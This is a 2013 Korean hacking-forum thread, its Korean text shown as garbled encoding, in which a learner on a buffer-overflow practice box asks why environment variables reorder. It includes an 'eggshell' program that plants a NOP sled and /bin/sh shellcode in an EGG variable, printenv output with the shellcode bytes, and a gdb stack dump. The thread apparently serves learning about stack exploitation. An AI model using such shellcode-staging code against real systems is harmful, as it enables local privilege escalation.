½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   bmc12
   egg ¼öÇà ÈÄ È¯°æ º¯¼öÀÇ ¼ø¼­¿¡ ´ëÇØ Áú¹®µå¸³´Ï´Ù.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1681 [º¹»ç]


putenv(egg)
putenv(buff)

ÀÌ·¸°Ô ȯ°æ º¯¼ö¸¦ Ãß°¡ÇßÀ¸¸é

printenvÇßÀ» ¶§

EGG ~~~~~
RET ~~~~~

ÀÌ·¸°Ô ¾Æ·¡ Ãâ·Â °á°úó·³ ³ª¿Í¾ß Çϴµ¥

»õ·Î¿î ½©À» ¶ç¿ö³õ°í printenvÇϸé 2¹ø ° Ãâ·Â °á°úó·³

RET
EGG
ÀÌ·¸°Ô ¼ø¼­°¡ µÚÁýÈ÷°í

ȯ°æ º¯¼öµé °¡¿îµ¥ Âë¿¡ µé¾î°¡³×¿ä

¿Ö ÀÌ·±°ÇÁö ¾Ë·ÁÁֽøé Á¤¸» °¨»çÇϰڽÀ´Ï´Ù.

1.-----------------------------egg.c¿¡ system(/bin/sh) ¾È ³ÖÀº °æ¿ì-------------------------------------------
(ȯ°æº¯¼ö Ãâ·ÂÀº egg.c¿¡ Ãâ·Â ¼Ò½º¸¦ Ãß°¡Çؼ­ ÇÑ °ÍÀÔ´Ï´Ù.)

Using address: 0xbffffbd4
LESSOPEN=|/usr/bin/lesspipe.sh %s
USERNAME=
HISTSIZE=1000
HOSTNAME=BOF
LOGNAME=student
REMOTEHOST=110.35.139.193
MAIL=/var/spool/mail/student
TERM=xterm
HOSTTYPE=i386
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/student/bin
HOME=/home/student
INPUTRC=/etc/inputrc
SHELL=/bin/bash
USER=student
BASH_ENV=/home/student/.bashrc
LANG=en_US
OSTYPE=Linux
SHLVL=1
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
_=./e
EGG=1A¡ÆF1U1E1EI¢æe1A¡Æ
                    [¢¶‹g1a¢¶g¢¶u1OI¢æe©¡yyy/bin/sh
RET=Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy¢¯Ouy


2.----------------------------egg¿¡ system(/bin/sh)Ãß°¡ ÇßÀ» ¶§ ȯ°æº¯¼ö Ãâ·Â-------------------------------

[student@BOF student]$ printenv

LESSOPEN=|/usr/bin/lesspipe.sh %s
USERNAME=
HISTSIZE=1000
HOSTNAME=BOF
LOGNAME=student
REMOTEHOST=110.35.139.193
MAIL=/var/spool/mail/student
TERM=xterm
HOSTTYPE=i386
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/student/bin
HOME=/home/student
INPUTRC=/etc/inputrc
SHELL=/bin/bash
USER=student
RET=Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny¢¯Hny
EGG=1A¡ÆF1U1E1EI¢æe1A¡Æ
                    [¢¶‹g1a¢¶g¢¶u1OI¢æe©¡yyy/bin/sh
BASH_ENV=/home/student/.bashrc
LANG=en_US
OSTYPE=Linux
SHLVL=5
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
_=/usr/bin/printenv


--------------------------------------egg.c ¼Ò½º-------------------------------------------------------------------

int main(int argc, char *argv[])
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;
   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);
   if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }
   if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }
//   addr = get_esp() - offset;
   printf("Using address: 0x%x\n", addr);
   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;
   ptr = egg;
   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
     *(ptr++) = NOP;
   for(i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];
   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"EGG=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);

// while( *environ)
  //    printf( "%s\n", *environ++);


//   return 0;

   system("/bin/bash");
}






------------------------------------½ºÅÿ¡ ½×ÀΠȯ°æ º¯¼ö Ãâ·Â------------------------------------------------

0xbffff2a2:      "i686"
0xbffff2a7:      "/home/student/get"
0xbffff2b9:      "LESSOPEN=|/usr/bin/lesspipe.sh %s"
0xbffff2db:      "USERNAME="
0xbffff2e5:      "HISTSIZE=1000"
0xbffff2f3:      "HOSTNAME=BOF"
0xbffff300:      "LOGNAME=student"
0xbffff310:      "REMOTEHOST=110.35.139.193"
0xbffff32a:      "MAIL=/var/spool/mail/student"
0xbffff347:      "TERM=xterm"
---Type <return> to continue, or q <return> to quit---
0xbffff352:      "HOSTTYPE=i386"
0xbffff360:      "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/student/bin"
0xbffff3a3:      "HOME=/home/student"
0xbffff3b6:      "INPUTRC=/etc/inputrc"
0xbffff3cb:      "SHELL=/bin/bash"
0xbffff3db:      "USER=student"
0xbffff3e8:      "RET=Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯"...
0xbffff4b0:      "Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯"...
0xbffff578:      "Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy¢¯Xuy"
0xbffff5e8:      "EGG=", '\220' <repeats 196 times>...
0xbffff6b0:      '\220' <repeats 200 times>...
0xbffff778:      '\220' <repeats 200 times>...
0xbffff840:      '\220' <repeats 200 times>...
0xbffff908:      '\220' <repeats 200 times>...
0xbffff9d0:      '\220' <repeats 200 times>...
0xbffffa98:      '\220' <repeats 200 times>...
0xbffffb60:      '\220' <repeats 200 times>...
0xbffffc28:      '\220' <repeats 200 times>...
0xbffffcf0:      '\220' <repeats 200 times>...
0xbffffdb8:      "1A¡ÆF1U1E1EI\200e\0251A¡Æ\013[\211\037\213g\0041a\211g\004\211u1OI\200e©¡yyy/bin/sh"
0xbffffde8:      "BASH_ENV=/home/student/.bashrc"
0xbffffe07:      "LANG=en_US"
0xbffffe12:      "OSTYPE=Linux"
0xbffffe1f:      "SHLVL=3"
0xbffffe27:      "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01"...
0xbffffeef:      ";32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;3"...
0xbfffffb7:      "5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
0xbfffffea:      "/home/student/get"



  Hit : 4136     Date : 2013/05/28 09:50



    
bmc12 Ãß°¡ Áú¹®ÀÌ Çϳª ´õ À־ ¿Ã¸³´Ï´Ù.

ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÉ ¶§ ½ºÅÿ¡ ¾Æ·¡Ã³·³ ȯ°æº¯¼ö,argv[],argc,ret ... ÀÌ ½×ÀÎ´Ù°í ¾Ë°í ÀÖ½À´Ï´Ù.

±×·¸´Ù¸é

egg.c¿¡ get_esp()¿¡¼­

movl %esp,%eax

´ëºÎºÐÀÌ eax·¹Áö½ºÅÍ¿¡ ´ã°ÜÁø °ªÀÌ ½ºÅÃÀÇ ¹Ù´ÚÀ̶ó°í ÇϽôµ¥ ±¸Ã¼ÀûÀ¸·Î ÀÌ ½ºÅÃÀÇ ¹Ù´ÚÀ̶õ°Ô ¾îµð¸¦ ¸»Çϴ°ǰ¡¿ä?

ȯ°æ º¯¼öµéÀÌ ½×À̱⠽ÃÀÛÇÏ´Â ½ÃÀÛ ÁöÁ¡À» ¸»ÇÏ´Â °Ç°¡¿ä?

esp°¡ °¡¸£Å°´Â ºÎºÐÀÌ ¾Æ·¡¿¡¼­ ¾î´À ºÎºÐÀΰǰ¡¿ä?

0xc0000000
|ȯ°æº¯¼ö|
|argv[]|
|argc |
|ret |



2013/05/28  
bmc12 ¸îÂ÷·Ê Å×½ºÆ®¸¦ ÇØº¸´Ï

ȯ°æº¯¼ö¸¦ ³ÖÀ» ¶§ ¹®ÀÚ Á¤·ÄÀ» ÇÏ´Â °Í °°½À´Ï´Ù.

Á¦°¡ export·Î ȯ°æ º¯¼ö¸¦ µî·ÏÇÑ °Å´Â =>·Î Ç¥½ÃÇÏ¿´½À´Ï´Ù.

ȯ°æ º¯¼ö¿¡ ³ÖÀº °ªÀº ÀÔ·Â ¼ø¼­ÀÔ´Ï´Ù.

[student@BOF student]$ export C=1
[student@BOF student]$ export B=2
[student@BOF student]$ export A=3
[student@BOF student]$ export AA=4
[student@BOF student]$ export EGG=5


USERNAME=
=>AA=4
HISTSIZE=1000
HOSTNAME=BOF
LOGNAME=student
REMOTEHOST=110.35.139.193
MAIL=/var/spool/mail/student
TERM=xterm
HOSTTYPE=i386
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/student/bin
HOME=/home/student
INPUTRC=/etc/inputrc
SHELL=/bin/bash
USER=student
=>A=3
=>B=2
=>C=1
=>EGG=5
BASH_ENV=/home/student/.bashrc
LANG=en_US
OSTYPE=Linux
SHLVL=1
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
_=/usr/bin/printenv
2013/05/28  
bmc12 ¹®ÀÚ Á¤·ÄÀ» ÇÑ´ÙÇØµµ ÀÌÇØ°¡ ¾È°¡³×¿ä..

Áß°£ºÎÅÍ ÀÔ·ÂÀº µÈ´ÙÃĵµ

EGG

RET ¼ø¼­´Â ¹Ù²îÁö ¾Ê¾Æ¾ßÇϴ°ǵ¥..

Èå¾î...¸àºØ...
2013/05/28  
qkrwncks593 º¸Åë ½ºÅÃÀÇ ¹Ù´ÚÀº EBP ·¹Áö½ºÅͰ¡ °¡¸®Å°´Â°÷À» ¹Ù´ÚÀ̶óºÎ¸£°íÀÖ¾î¿ä.
ȯ°æº¯¼öÀÇ À§Ä¡´Â º¸Åë RET ¾Æ·¡¿¡ À§Ä¡ÇÕ´Ï´Ù.
±×¸®°í ESP °¡ °¡¸®Å°´Â°÷Àº ½ºÅÃÀÇ ³¡ÀÔ´Ï´Ù.
2013/06/01